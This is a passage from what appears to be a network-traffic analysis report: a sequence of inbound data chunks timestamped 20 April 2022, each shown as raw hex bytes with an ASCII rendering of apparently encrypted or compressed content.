a3 5f 7b 2f 05 25 9f 50 5a e4 Data Ascii: gF$U)ex~8f(zI~z@3+@8&-\E[K_'<Zanu3@;eCX1q,K8X(3x2#z,~N!XvI-:=V?wy'JI`J(inN~2z5as\,P-(6Y[Vg!26(3k_{/%PZ
2022-04-20 13:31:40 UTC	82	IN	Data Raw: a4 65 d5 8f 1c e0 cb 67 50 c9 68 ea 23 34 34 b7 62 82 ce 6b 98 42 26 a6 d9 da bc 86 07 d4 8e 98 ec 64 8b d6 45 bb c3 ec 50 46 c3 06 c3 be b9 0f 3c ea 08 ff 16 3c 87 51 eb 59 ff 6c 2c c7 ed b3 f9 35 e7 76 b8 99 02 50 58 a4 b7 df a4 03 e2 85 7c 63 2b ad 3c 7e 18 63 7b 5c de 8b 94 f5 41 05 65 5e d9 00 92 07 81 76 5f 50 cd 35 cb b0 3d c0 d7 ab ab a0 ce d2 45 c3 4a d5 93 ec 7b 2f 86 f3 01 ee 39 1e 37 bc d8 be cf 0a 47 64 d2 4d 85 82 aa 73 3d 00 71 41 db 31 5f 8a 50 29 4a f2 03 56 f6 37 ee 6d 0d 6c cf 73 93 e7 f3 a5 4d ca 95 1b 24 76 9f dd cd 73 a1 a5 05 5c 03 a2 d3 a7 30 31 3f d0 28 29 62 86 77 d8 d7 37 eb 4a fb ee ae 3a 5e 55 31 b5 de 93 12 a4 18 c0 62 b8 21 a1 67 f6 3d d2 42 1b 73 76 ec 76 28 46 00 af 62 12 6e 7e 05 34 40 48 53 15 ef 8c 66 aa 48 32 b8 61 31 Data Ascii: egPh#44bkB&dEPF<<QYl,5vPX\|c+<~c{\Ae^v_P5=EJ{/97GdMs=qA1_P)JV7mlsM$vs\01?()bw7J:^U1b!g=Bsvv(Fbn~4@HSfH2a1
2022-04-20 13:31:40 UTC	83	IN	Data Raw: 7d 6d 2d 02 53 63 f3 18 ec b3 c3 15 27 03 ad f6 3b 04 93 10 89 8e 5d 58 46 20 b1 c0 9d 50 5b d3 b0 43 e3 bf f0 be 89 85 5c e9 b2 95 e1 e0 56 38 96 f8 5f 0d c4 01 3b c8 7c b3 cd 4c 0f 25 4d ac 0b 2f 70 41 33 ef 9b 0a 27 43 a1 6e 50 fb 40 1d 5f d8 79 06 8d d6 e9 39 34 17 45 88 7a 3f 7f 45 de 83 3f 02 65 63 be eb c5 21 ff c2 c9 7a 0b 0f c4 32 af 78 24 8f c0 ca 01 56 55 22 b7 ae 00 49 03 90 64 df 5a 48 ae ce c8 a6 e8 61 65 72 67 f9 52 de 12 13 b7 30 bd 89 91 32 e1 dc 60 15 23 96 6f cd 91 ae 56 5b 2f 0e 71 2d 35 47 5e b7 5a 1b 0e 5e b6 c4 ed d3 bb 37 9d 9d c3 c2 1b df ca 5e 79 f1 d0 b1 66 b3 ce 98 a1 07 3a e8 75 1c 11 3e 8e 92 87 99 4b 1f 9e e6 e4 6b 6e 58 0a 78 00 1b 32 d1 25 f4 c9 f8 64 49 98 f8 86 53 ac df 10 a5 c0 00 31 c8 61 ab f4 ce d5 e7 1d eb 1e f8 b5 Data Ascii: }m-Sc';]XF P[C\V8_;\|L%M/pA3'CnP@_y94Ez?E?ec!z2x$VU"IdZHaergR02`#oV[/q-5G^Z^7^yf:u>KknXx2%dIS1a
2022-04-20 13:31:40 UTC	84	IN	Data Raw: f6 df de 42 0a 1b 1c c4 27 22 4a 79 c9 0d da 65 74 0d 45 9c 59 76 39 d1 8b 77 a7 5a 16 81 58 17 67 8b d4 4f f5 94 c5 2a 7c 3f 96 5a 03 4e f8 1c 13 19 33 77 66 d7 a0 45 62 82 ae 1e 3b 51 27 6c 6e 97 90 90 f4 fd 7a aa 40 04 70 98 89 80 9f f9 2e c6 a2 3e 30 40 dc 12 23 b1 2f e8 17 fe 19 5a 93 77 f4 79 bd 9c 88 e9 09 79 38 6f 41 a1 26 bc bd 98 38 2c 0f fb 99 f7 9e 33 27 5f 2c 47 0c 3a 0e 27 0e e4 5e fe 15 4d d4 5e 02 0e 44 5a 08 3d 07 ab 45 fd 6f b2 7e 47 30 b8 be 1a 60 78 74 4f 22 e0 89 be 3c a2 8e 88 49 72 e3 fe 30 0c e8 58 0e ed 2c bf db 97 e6 22 aa 5e 5c 10 c8 0a ed c2 df a9 6c 42 23 57 bc 0e ee 56 be 3e f1 2b 81 2a c0 d4 3f c1 5f 56 98 f0 15 34 38 7b e7 16 8b 34 4d 8e cb 10 63 c7 26 65 8a c2 51 40 f6 da 41 f7 69 ef 2b 81 6c ea 1e 95 ed db 87 0b 72 58 35 Data Ascii: B'"JyetEYv9wZXgO\|?ZN3wfEb;Q'lnz@p.>0@#/Zwyy8oA&8,3'_,G:'^M^DZ=Eo~G0`xtO"<Ir0X,"^\lB#WV>+?_V48{4Mc&eQ@Ai+lrX5
2022-04-20 13:31:40 UTC	86	IN	Data Raw: 73 3f d0 34 fb af 0c 64 65 9a e6 bf 48 bb df 1e a5 c0 0e 34 27 9e 86 c9 df ad e4 0b 3d 8b ed 14 3d 89 a6 a3 fa c4 22 ab 0d 70 08 49 51 41 81 7a 81 b9 d4 4d 6b 47 02 c3 2e 45 cd 83 ea 34 c5 b3 47 b5 82 0b f3 dc fa 94 d6 61 15 80 09 36 ab 5c b5 36 79 9d 48 3f b7 e6 24 be aa 02 db 10 9a ec 75 8f d9 bf ab eb f0 57 e2 ee ee 29 55 6e e0 2e ef 02 e6 07 0a 78 53 c7 4d ea e3 50 ce ec b2 ee 32 20 0f a7 8f 8e 96 47 ad a5 78 b5 16 f3 87 aa 90 06 ae 21 65 09 4b 68 5a c1 86 7c 79 6a 07 4e 5a f5 67 78 d0 e6 7f 5c 65 01 e3 d7 4d 35 ec ce 26 bf 90 c2 d3 f0 c4 5b d1 1d ee d9 2f 94 f7 1a 5a ee 1d 37 bd 7a be c6 0d 4f 14 64 ed c5 94 a8 09 99 10 75 56 c9 fa 49 94 57 35 d8 ab 10 5b f7 35 e5 62 f5 7b f4 e6 ba fc e5 b3 d1 c4 9a 10 3f ea 9f d6 fc 15 a0 89 11 4f 7e b8 42 8b 15 36 Data Ascii: s?4deH4'=="pIQAzMkG.E4Ga6\6yH?$uW)Un.xSMP2 Gx!eKhZ\|yjNZgx\eM5&[/Z7zOduVIW5[5b{?O~B6
2022-04-20 13:31:40 UTC	87	IN	Data Raw: 25 49 90 c5 57 74 c1 43 b5 8a c0 5b 25 93 c5 52 fa 4f d5 73 8e 95 f7 01 e7 fe a6 9b 0c 65 d1 21 71 fb ef 5a c3 9e 13 39 6e 28 2f 9d ef 3b 48 36 3e fe f4 b9 71 35 14 b1 1e 84 5f 8e 95 12 66 65 6a 3c 18 4e 81 0c 35 c8 af e7 ec cf fa a1 68 37 04 82 1a 9b b7 b5 41 e6 78 89 a3 9e f2 52 d8 a9 11 e9 bf eb 9d 97 ba a2 e2 02 85 f1 69 e1 20 89 38 7b 1f ec 1d 12 c8 70 b3 cd 40 0f 10 4d ac 0b 26 58 4d 1c e0 f4 e6 dc 5a 95 71 5b fb 4a 3c 02 24 50 3d 8e ce f0 30 1c 05 4c 97 7b bc 70 68 ca 80 7a 19 64 63 a3 cc 1b 36 74 4f e6 7a 91 0e c8 3c a1 10 21 8e d1 c5 1a 14 77 22 9b b7 01 3b 1a 47 f5 cc 85 30 ae 42 e7 ac ea 1b 67 6c 49 ee 4e b1 d4 19 a8 23 41 f3 b3 3a d9 91 7a 7a fb 88 75 d4 98 d5 49 51 30 16 e0 c7 18 4b 45 b2 54 77 9a e8 d9 18 f3 ce a2 36 43 9f ed f5 1e 21 cb 78 Data Ascii: %IWtC[%ROse!qZ9n(/;H6>q5_fej<N5h7AxRi 8{p@M&XMZq[J<$P=0L{phzdc6tOz<!w";G0BglIN#A:zzuIQ0KETw6C!x
2022-04-20 13:31:40 UTC	88	IN	Data Raw: 5e 24 e8 7c 0b 72 c5 11 83 cd f5 cd e9 da 93 07 1a d3 8e db ef d2 39 a5 0f 4d 1b b8 43 83 0b de 3b ea b5 29 3b 87 77 d4 1c 37 eb 42 fb 38 bb 16 59 77 53 14 de 95 04 dc 14 c8 7c 5d de 86 69 88 71 df 42 1f 7f 55 c8 25 28 4c 15 a1 01 da 67 69 f1 3f b2 5a 6e 31 c2 84 7a 5e 44 0a ba 61 56 4e 88 d1 44 ee f7 a7 22 64 cb b1 4e 2d 67 f5 1e 02 14 ab 73 3a d5 df 59 6f 82 a2 14 cc 46 18 7f 3b bf 80 99 e1 dd d9 a5 46 2a 0a ac 88 86 92 5d 27 c6 a2 35 df 8f dc 12 2d 8d 32 e0 08 3e f4 53 ae 7d f2 7c 33 23 a5 3a ff 50 11 6e 6a a2 18 81 21 67 c7 21 0d d8 82 c7 90 5c cf 5c 2c 4d b5 3c 18 30 49 16 5c fe 19 29 5e 80 03 04 68 68 ce 15 0c a8 54 fc 0b b7 23 45 4f 95 b3 19 64 6d 57 8c 31 ea a8 f1 ce a8 9f 88 de 49 ea fb 18 0e 95 6d 09 fc 2c 1b fa 94 e6 25 ed 7c 5d 10 c8 43 1f c9 Data Ascii: ^$\|r9MC;);w7B8YwS\|]iqBU%(Lgi?Zn1z^DaVND"dN-gs:YoF;F*]'5-2>S}\|3#:Pnj!g!\\,M<0I\)^hhT#EOdmW1Im,%\|]C
2022-04-20 13:31:40 UTC	89	IN	Data Raw: 39 dd 9a a8 6f 73 30 12 85 43 fa 4a 4f bb 45 5c 59 5c b6 c4 da 89 ab 3c 9b a4 ea dd 33 2b e3 3c 76 e0 dc 83 05 a2 33 6d 31 fb 12 fb 74 1b 28 7a 92 89 7f b0 20 17 ed c1 cd 49 68 4b 06 4f 4c 0b 39 d7 1c dc d2 06 6f 0a 7d ef 95 5d b7 e4 4a a6 d1 0d 06 9e 9c aa de f5 f4 ee 0a 37 a7 bd 6c 34 8e 8e 84 20 ce 33 d7 eb 71 19 46 4f 97 d3 55 84 a9 f1 10 7b 42 04 fa 09 5e 33 88 ee 67 c0 a5 70 f9 bd 18 f6 d6 84 72 c8 68 e1 86 0d 65 a0 76 ac 14 2d 9b 48 28 9a d3 da bf 8c 29 95 00 9f ea 4c a9 c5 41 a0 a8 19 55 e4 d8 05 ff fd 92 fd 3b c2 45 f4 02 12 ae 70 eb 5f e2 c9 73 c4 ed b4 c2 12 f6 72 a4 e1 6d 93 58 ae b1 55 ec 04 f6 97 7c d6 29 ad 30 5e 2e 4b 79 55 f6 d7 81 78 40 2d 46 5f cd 1e e9 cc 18 76 55 5d f1 46 2b b2 3b ee 89 25 ac a6 e6 f1 56 c7 51 f9 d9 ed d9 38 aa c7 17 Data Ascii: 9os0CJOE\Y\<3+<v3m1t(z IhKOL9o}]J7l4 3qFOU{B^3gprhev-H()LAU;Ep_srmXU\|)0^.KyUx@-F_vU]F+;%VQ8
2022-04-20 13:31:40 UTC	91	IN	Data Raw: 1d e8 89 9b 15 11 61 7d 27 67 88 a6 18 08 e1 72 16 e7 18 37 f4 45 e7 23 c5 0c 5d 10 d3 2e d4 9b c9 7f 79 43 41 48 af 05 6a eb 8b 89 a7 03 87 23 d3 dc 2f bd 31 6e 30 fb 3d 17 29 75 fc 74 73 39 44 ac d6 16 75 cb 64 98 b3 4d 5a 2f 0f d2 32 2a 4e c4 72 83 6d 28 3f ea c7 8d 82 0a 78 4f 2e 59 d5 ee 49 cc 52 65 2e 78 a4 6f 9b eb 55 3b 26 3b ec f1 fd 48 51 1f 99 1f f8 6d 84 09 07 7c 72 13 0e 09 49 97 e1 33 9a b9 f6 ea d2 ef b3 f3 21 02 ed c9 97 be a5 4e b0 3a 86 b0 96 68 68 cd 81 50 f9 b9 f0 bc be db a1 e8 98 f7 36 6f e1 37 9d 2a 94 18 d1 17 2d bf 74 b3 da 28 c4 1b b3 ab 34 23 62 4e 35 30 22 7c 20 5c e7 12 8f fa 51 10 5b 23 69 2f a6 a8 f9 32 32 69 58 95 71 cb 6f 6c e2 e3 53 19 62 0c ae fe 1f 3c 49 63 92 6c 86 21 c8 2d a2 78 25 86 f9 a9 1d 7b ad 4c 5a bd 03 4a 1d Data Ascii: a}'gr7E#].yCAHj#/1n0=)uts9DudMZ/2Nrm(?xO.YIRe.xoU;&;HQm\|rI3!N:hhP6o7-t(4#bN50"\| \Q[#i/22iXqolSb<Icl!-x%{LZJ
2022-04-20 13:31:40 UTC	92	IN	Data Raw: 5e e1 17 9e 3c 1c 76 4e 5f c6 17 d6 b3 11 d7 c6 0e ce a3 ce d5 39 06 5b d1 8f c2 b1 21 89 f7 12 62 79 1b 28 b0 84 ae e7 19 4c fb 61 4f 63 b0 68 6d 91 02 70 52 cf 25 45 95 ba 31 eb b5 05 5e df 48 eb 7c 0d 52 fb ef 82 eb 8b e8 d1 db 99 1c 3e f9 8b db f4 ee bc 5b 0e 61 00 a2 4e 95 02 25 3a d7 b7 1b 8d 87 5b c6 01 39 c3 26 e3 c6 bc 12 7d 5f 19 1f b1 c8 18 d0 1e db 71 a6 df bb 62 e9 45 20 43 37 60 74 d3 f1 25 59 07 bb 08 da 7e 7b 16 c0 9f 74 62 3b c0 a4 0d a3 45 20 9a 6a 1f 4f 82 b8 14 f3 fb ad 30 6f 30 b0 73 24 50 f7 e2 03 32 21 37 6c d5 db 4a 49 9d ba 1e 37 47 25 61 5a 87 7f 98 c9 f3 c0 95 59 23 67 9e 89 97 93 69 ff c7 8e 34 5d 9f b5 13 29 9d 2d e4 1d 3b 0f 52 93 7a f3 8e 32 07 b9 24 12 54 3d 7d 44 b8 30 2d df b4 3a 0d 22 e0 20 09 6b a3 43 75 32 4f 02 27 28 Data Ascii: ^<vN_9[!by(LaOchmpR%E1^H\|R>[aN%:[9&}_qbE C7`t%Y~{tb;E jO0o0s$P2!7lJI7G%aZY#gi4])-;Rz2$T=}D0-:" kCu2O'(
2022-04-20 13:31:40 UTC	93	IN	Data Raw: 86 50 13 ba 6c 9d d4 32 36 29 45 f5 71 23 20 c8 2d a9 b5 2f 9e d5 e9 9b 7a ab 25 f4 9c 01 40 1e 98 fa ed a8 72 78 43 ed b5 e4 48 47 6d 49 e0 87 de 12 1c 80 54 42 88 bb 54 f8 97 62 1f fd 86 50 f6 b7 ae 47 5a 23 1f a7 02 19 4b 45 6f 42 65 10 77 c6 c3 f2 c8 c7 1d 9f 8c c2 03 3c 04 e3 5f 75 e0 d0 b8 28 8a 1d 67 5e 12 cd fb 6f 18 28 a5 90 89 7f f7 46 16 ed cd 3b 67 40 66 0c 67 16 20 17 d1 34 f5 0c 06 74 61 b6 84 94 57 b6 a3 3a a7 d1 01 f0 d6 ba 82 f5 dd d6 e4 19 32 a7 c1 6f 34 82 78 a7 31 ca 11 d3 09 70 1f 23 69 bd 80 5c 5a a0 fc 7f 55 42 02 d8 38 4e 1b ac c6 33 c9 7b 76 c0 9a 30 97 dd eb 97 a6 49 e9 81 2f ee ac 53 82 11 6a 98 42 3d a3 d9 f4 bf 86 0b 1d 03 8e e8 4c ed c4 41 ac a8 db 56 e4 d8 dc d8 8f b9 d0 3d ea 08 e4 10 3c a8 52 eb 55 36 e1 3a c3 c5 e4 eb 31 Data Ascii: Pl26)Eq# -/z%@rxCHGmITBTbPGZ#KEoBew<_u(g^o(F;g@fg 4taW:2o4x1p#i\ZUB8N3{v0I/SjB=LAV=<RU6:1
2022-04-20 13:31:40 UTC	94	IN	Data Raw: 8b a3 95 8e 54 e9 a9 7d e8 bf eb a6 b4 90 8c e8 9e 92 3c 6e f0 35 a6 aa 84 1e c6 71 24 d9 77 b9 02 48 35 32 9e ad 27 2e 60 6b 0c 17 0a 19 29 82 e1 6c 5f d3 25 17 48 20 17 0b 8c ce f0 ec 3b 23 66 ba 71 c1 74 7a ee ac 7e 19 64 69 66 fc 0e 32 01 de e7 7a 0d 61 e9 2f a3 61 f1 83 f9 ec 1e 7b a1 0b b5 bd 03 4a ca 46 e4 cc a8 d5 79 43 e1 c9 c9 62 69 67 97 e6 71 f3 03 18 a2 01 6d 88 bd 31 07 95 73 11 0b d5 74 de 9c c1 66 52 30 18 51 23 3c 63 62 b1 42 7e 07 7a 9e ec f2 ce a2 e2 9d 9d cc f5 b8 20 cb 74 1a c1 d8 ab 2c 7c 3f 4f 73 18 13 f1 56 32 00 35 9b 57 79 89 63 3c 61 c6 e5 6d 07 6a 0e 67 16 d6 35 f9 19 ff d2 0c 4d 4b 9e ee 9f 89 b0 dd 1f 8d 89 0a 2e df f0 8b da dd dc 30 05 18 a7 c2 6f 34 82 b5 81 08 e0 39 b8 02 ae 19 5d 4c 97 da 57 84 a9 b6 76 7a 42 08 0c 24 7b Data Ascii: T}<n5q$wH52'.`k)l_%H ;#fqtz~dif2za/a{JFyCbigqm1stfR0Q#<cbB~z t,\|?OsV25Wyc<amjg5MK.0o49]LWvzB${
2022-04-20 13:31:40 UTC	95	IN	Data Raw: a0 4b 26 b2 49 3d 48 88 d7 40 f3 fb a7 37 7c 35 b1 62 21 4f f8 2d 05 1e 2b 4a 3b d5 db 7f 64 82 aa 01 32 47 34 79 45 89 80 99 e5 f5 eb ec 41 2c 74 95 89 86 96 2c 06 c6 a2 33 5f b7 dd 0f 29 97 3f e0 00 28 0a 37 85 7f e5 7e 33 2b ba 40 06 51 3d 63 41 a7 20 ce de 98 39 26 27 d8 99 75 93 5c 45 51 2c 4d 2a ac 1f 21 61 10 5f fe 1f 3f 2d 5f 03 04 62 62 c8 a1 00 ab 54 f4 75 81 22 ef 4c bd bf 16 64 6b 7f 44 31 ea a3 9e 2d a9 9f 34 df 61 e7 f6 18 08 eb 9c 0f fc 28 3c f4 97 e6 3e c5 a9 5c 10 c2 2c fc 1b cf 7f 7f 46 32 5d ad e4 67 e1 8c e9 f9 03 87 34 c0 d2 38 ae 3c 56 98 0a 3a 17 38 75 ed 79 e9 ca 4a 84 ed 19 75 c1 49 80 8b c2 5a 2f 0f db 41 f0 47 c4 74 9e 6b f6 2d d4 e7 a0 82 05 72 5c 26 6c fb ee 48 c6 8f 16 2f 52 ac 7e 9d e1 3a ea 27 03 e2 dc f8 7f 35 1e 99 02 86 Data Ascii: K&I=H@7\|5b!O-+J;d2G4yEA,t,3_)?(7~3+@Q=cA 9&'u\EQ,M*!a_?-_bbTu"LdkD1-4a(<>\,F2]g48<V:8uyJuIZ/AGtk-r\&lH/R~:'5
2022-04-20 13:31:40 UTC	97	IN	Data Raw: fc 06 2f 83 c7 42 36 88 ac b6 27 e6 c4 b8 08 7a cf 52 92 97 ae 54 84 a5 a7 46 79 42 08 c1 32 4f 26 ed d3 32 c3 af 5e 5d 9d 18 f0 b3 c4 93 c9 62 f8 a2 37 12 b2 55 bb 29 42 89 48 2e b8 9e ea bd 86 0b ac 16 9f ec 6e a2 e3 43 aa cd eb 41 8b c7 03 d7 a0 b9 70 3e ea 04 98 2d 16 86 58 f8 7f f9 c1 3a d2 c5 a3 ea 31 fc 1d 9e 8c 8e 98 7d 89 b3 5b a4 2b dd 9b 2d 16 2a ad 37 07 8b 4b 79 5e cd 92 93 6d 29 10 64 5f c7 3c 08 2c 19 70 30 75 db 1d 22 a1 20 d7 d3 37 b9 88 df d3 56 cd 34 e1 87 ee d3 1b af e1 31 73 44 35 3d c4 fd af cb 13 34 6d 65 c1 d5 91 b6 0c 8e 10 75 58 cd 3e 53 82 c8 61 c7 a0 02 40 df 00 ea 7c 01 56 bd fe 86 f9 68 e2 d1 db 92 15 1a ce 8c db ef c7 f4 b4 1a 22 10 b5 43 81 39 af 39 c6 b4 6e 5c 84 77 d8 14 1d fa 6c f1 d3 92 2b 5e 5f 13 7a ee 91 18 da 31 ed Data Ascii: /B6'zRTFyB2O&2^]b7U)BH.nCAp>-X:1}[+-*7Ky^m)d_<,p0u" 7V41sD5=4meuX>Sa@\|Vh"C99n\wl+^_z1
2022-04-20 13:31:40 UTC	98	IN	Data Raw: a6 ed db 73 5c 20 5c fe d6 4b c7 8f 16 3e 7c 8c 69 9f ef 30 85 3e 39 ea d6 97 68 37 1e 93 37 d6 5e 84 0f 1e 6a 08 5f 3c 09 43 8e f4 22 f5 8c 99 38 d9 fc b0 f2 ea 17 92 08 9f 86 64 59 6a 29 98 a4 8e 59 73 af 82 50 ee d0 35 b4 96 be b1 e2 8f 9f f3 67 c9 55 8d 2e 83 71 14 1f 05 dd 64 b8 cd 41 04 e4 b2 bc 21 5a 41 48 24 33 1c 31 13 5c e1 77 4d 05 50 76 64 03 69 2f a2 ef d2 04 35 06 44 86 76 d0 77 41 af 87 50 1f 0b b7 b9 fc 19 59 7b 4f e6 70 1a 0b e0 7c a2 6b 29 9c d7 d0 14 53 4a 23 9b b7 2e 03 05 4d dd 29 80 5f 72 6e dd b7 ee 4c 5f 1e 72 eb 59 d8 10 14 b9 25 52 82 d2 7a d8 95 64 04 2f 98 7e b1 a7 af 47 56 21 1e 9e 2a 76 74 4e b1 44 65 18 77 2f c1 f2 c8 c7 7f 9c 8c ce db 22 2d a4 b4 74 e0 d0 83 dc a3 33 61 4d 1e cd f4 5b 34 2d 35 91 83 6a 95 4f 3a ed c7 ef b5 Data Ascii: s\ \K>\|i0>9h77^j_<C"8dYj)YsP5gU.qdA!ZAH$31\wMPvdi/5DvwAPY{Op\|k)SJ#.M)_rnL_rY%Rzd/~GV!*vtNDew/"-t3aM[4-5jO:
2022-04-20 13:31:40 UTC	99	IN	Data Raw: 3a b5 43 8d 00 2d 12 ff b1 01 75 e9 34 d3 07 3d ed 5b ed a9 7c 3b 5e 55 31 ef df 93 1e c3 1c 1e 6d 86 f7 87 67 f6 43 cd 4c 33 46 7d c4 2d f6 46 1b a4 1a 0c 7c 72 1e 32 8f 4b 48 c1 3c 73 99 b1 54 31 64 5a 0e 5e 99 c6 5d 7d 4c 98 4c 82 ca 4f 64 0b 4f f8 1c 03 02 2b 44 3b d5 45 40 68 2b aa 1f 2f 47 34 65 45 89 ac 98 22 01 ea a8 5b 2c 74 9a 9a b6 90 75 9f c6 a2 3f de b7 dd 03 3f 84 3a d8 8f 28 0a 52 82 6e e1 68 cd 2a 96 23 03 df 8a 7b 9b b0 f6 5e f1 98 38 27 2d c1 8a f3 94 4d 41 48 d2 4c 06 3f 00 32 65 1c 4e fa 03 dc 2c 73 05 0c 75 b4 c4 20 14 af 54 eb 71 9c dc 44 67 ba b7 13 55 40 61 4a 35 ea b3 9a 34 57 9e ae d3 77 e5 76 af 1f 31 55 04 e6 3b 37 f4 86 e2 39 3b a8 71 15 e9 f0 e7 db cc 7f 6e 4c 29 a3 ac 29 71 e7 84 e4 f1 92 84 21 c3 5c 8e f3 ad 37 04 e6 2e 13 Data Ascii: :C-u4=[\|;^U1mgCL3F}-F\|r2KH<sT1dZ^]}LLOdO+D;E@h+/G4eE"[,tu??:(Rnh*#{^8'-MAHL?2eN,su TqDgU@aJ54Wwv1U;79;qnL))q!\7.
2022-04-20 13:31:40 UTC	100	IN	Data Raw: c8 db 5c 00 c9 72 7f 3e d4 8e 0e 8f 33 67 54 15 3b d5 7e 1c 0a eb 91 8f 53 99 7b 14 ed c7 e5 6d 68 57 2e 67 12 15 39 d1 35 ff d2 36 65 79 d2 ee 9b 4a b0 cc 1a be e1 08 2e 85 9f aa d8 71 d6 ee 1b 4e 9a ed 6f 3e 82 a0 d9 75 cf 39 bc 20 9b 18 4c 4e 97 db 55 84 a9 f1 bb 79 42 04 bd 0a 5c 33 88 18 3d e6 8d 5b d1 9e 12 fa f4 c5 91 c9 62 35 81 23 4e f6 77 aa 38 42 73 49 2e b4 d9 81 bc 86 07 eb ee 9e ec 62 e5 e4 43 aa cd 24 5a c1 fa 2f d7 aa 9b f0 15 c4 02 f7 08 ca 86 54 c1 5e f4 e1 2b c7 ed b4 ea 2d d4 72 a0 93 8e 92 59 a4 b6 4d b5 1b ba 91 5a 8c 2a ad 37 6d 3c 48 79 03 de 8d 82 d4 46 05 74 2c d8 16 86 25 13 70 21 0c d8 1d 2c 9a d6 c7 ce 20 84 fd cd d3 50 ef b7 d0 85 e8 b6 1f 80 e4 1d bc 66 3b 1f 90 7a af c1 1e 6d c4 65 c1 de 5c aa 74 e1 47 74 52 da 08 b1 9f 44 Data Ascii: \r>3gT;~S{mhW.g956eyJ.qNo>u9 LNUyB\3=[b5#Nw8BsI.bC$Z/T^+-rYMZ*7m<HyFt,%p!, Pf;zme\tGtRD
2022-04-20 13:31:40 UTC	102	IN	Data Raw: 8b 03 ca 3d f4 d9 de 41 14 b7 cd a2 85 b2 63 e1 8a 95 ea 01 87 23 c8 fa 59 ad 3c 50 b0 54 3d 17 32 53 4a 79 e9 3e 65 cb ed 16 7f ae 73 9f 8b c8 34 c3 0f db 4b ea 20 d0 76 90 61 99 c3 cf ef aa 91 0f 5a e4 25 71 fd 9d 5a c4 8f 1c 27 69 a1 56 33 ef 3a e0 0f 82 e9 dc fe 58 9b 1e 99 15 ae f8 84 09 07 47 39 6d 3c 03 26 a7 f0 34 ee e4 1a ea d8 f6 a1 8a 24 06 82 11 f9 50 a3 59 60 3a 8d ab 8e 55 73 62 81 50 e2 97 55 b6 96 be 8a 46 9e 98 e8 46 46 31 8e 24 8e 19 e8 25 05 db 7d 8a 0a 47 10 1a b4 de f0 25 73 4e 37 37 d4 0d 06 74 cc 7d 5b f1 42 19 4e 2b 50 04 8e ce f0 ef 8e 06 4e 97 60 cf 56 dc c9 84 56 76 b5 62 b8 fa 32 34 2f 65 f0 6b 05 61 1a 2c a3 6d 38 55 c2 d6 0d 6b 93 af 9b bd 03 51 1a 57 e5 df ef 8c 79 43 e1 b5 f9 71 67 7c 59 f0 36 0d 02 18 ae 3a 50 99 b3 2a c9 Data Ascii: =Ac#Y<PT=2SJy>es4K vaZ%qZ'iV3:XG9m<&4$PY`:UsbPUFFF1$%}G%sN77t}[BN+PN`VVvb24/eka,m8UkQWyCqg\|Y6:P*
2022-04-20 13:31:40 UTC	103	IN	Data Raw: ee d3 34 84 9a 46 63 68 1a 1f 56 7b af cd 3a 16 e9 65 c7 fc 6e ab 72 99 7e 54 50 de 2a 84 90 61 18 ea a0 03 5c fb 0c c6 7c 0b 70 06 ef 84 9f b5 b2 d1 df bb e8 33 ea 88 f3 b6 e8 a1 a3 27 a0 04 b4 45 e4 30 22 3a cc 6c 0f 56 ae 5a d2 07 31 e6 62 ce c6 ba 30 80 5f 1f 3f df 8f 18 d0 14 c0 64 a3 c3 88 67 f8 54 de 42 1a 68 7d f4 27 34 0a 0a a6 10 da 6f 7f 14 0e 97 58 92 3f c2 8c d1 a0 45 37 c1 5c 1d 4f 82 dd 31 c1 fb a7 20 70 4b 82 62 21 45 eb 19 7c 4a 2a 44 3f fd 30 41 63 84 a7 04 1a 80 37 64 43 a1 2f 99 e5 ff c3 00 46 2c 7e 88 8d 97 92 5d 3a c6 a2 35 72 b0 db 19 f4 35 3c e0 00 39 0e 7a cd 7f e5 7a 20 23 ab 3b 29 99 3e 6c 47 8f 6d d1 de 92 10 68 25 d8 93 98 db 5e 45 55 3f 4b 23 14 bf 21 61 16 77 14 1e 22 2b 4c 05 15 65 4f cf 3b 0c 76 3d f8 75 81 34 54 4d aa 65 Data Ascii: 4FchV{:enr~TPa\\|p3'E0":lVZ1b0_?dgTBh}'4oX?E7\O1 pKb!E\|JD?0Ac7dC/F,~]:5r5<9zz #;)>lGmh%^EU?K#!aw"+LeO;v=u4TMe
2022-04-20 13:31:40 UTC	104	IN	Data Raw: 18 9a bd 05 53 1e 57 ff e0 56 5c 78 45 88 e7 e9 60 6f 7c 43 fb 5e b1 3e 19 a8 2f 52 82 ac 3f b6 aa 63 15 25 98 7f f6 4d ad 47 56 5f 51 8e 2c 1f 4d 5e bb 2d b2 15 5f bc d3 fc a1 02 3c 9d 86 f2 72 cd de 34 ac 63 f1 d4 de 1f a2 33 66 72 14 02 f5 0b 25 00 35 90 e6 24 98 67 1e 31 19 f0 4e 40 66 0c 67 16 1b 34 a2 21 fd d2 0c 6e 4d b0 ee 95 5d 6e ce 1d 8f d6 21 2e d9 de 9e d8 dd d4 ee 0a 3d ff ef 6f 34 e9 a7 a7 20 1f 38 b8 08 66 19 4c 48 bf 80 56 84 af d9 57 78 44 02 d2 2b bd 32 82 c6 da c2 a5 76 c4 9e 18 f6 c1 eb 91 c8 73 db 85 25 07 a2 76 aa 85 6a 98 59 5d a7 f3 da b5 8c 29 62 02 9f ea 77 83 d3 52 a2 ff 06 54 e4 d2 13 de bb 99 67 31 e2 2a cc 02 14 8c 6b 0e 5f e8 e1 58 9d ef b2 e0 3c ff 7a c1 d5 8c 92 52 ad d9 21 b7 07 fc 82 50 80 2e ba 59 2b 0e 4b 73 30 82 8f Data Ascii: SWV\xE`o\|C^>/R?c%MGV_Q,M^-_<r4c3fr%5$g1N@fg4!nM]n!.=o4 8fLHVWxD+2vs%vjY])bwRTg1*k_X<zR!P.Y+Ks0
2022-04-20 13:31:40 UTC	105	IN	Data Raw: 49 04 7e 2b 3c 12 37 fb 34 b1 ff 1f 28 42 97 03 04 68 0d f7 3c 07 ad 7f c9 64 84 0a a9 48 bd b9 75 a5 6b 7f 53 1d cf b3 98 3c ac b7 6e db 61 e1 ed 0e 20 d8 59 08 f6 3f a9 dc 7c e5 23 c3 bc 4b 38 f1 2d fc c2 de e5 10 77 33 5d ab 14 66 c9 61 e5 f9 05 e8 6a c1 d2 3f a8 2d 50 f7 3c 3c 17 32 6a e7 16 43 34 4d 8e d7 d0 8b 3e b6 43 9d d3 51 5a 36 db 41 fc 63 c8 65 9a 1e cf 2d cf ee cf df 0a 72 56 fa 60 f3 f9 9f d5 87 07 27 69 ad f0 2a d0 4f 14 d8 c4 34 c9 dd 58 18 1e 99 15 95 58 f7 1c 0f 6f 7c 66 14 27 49 9d f8 ea e6 8d dc ed f2 fc f7 d1 30 04 80 1b 96 be f5 59 6a 29 c6 a2 9f 50 fe cd 81 50 fe bf 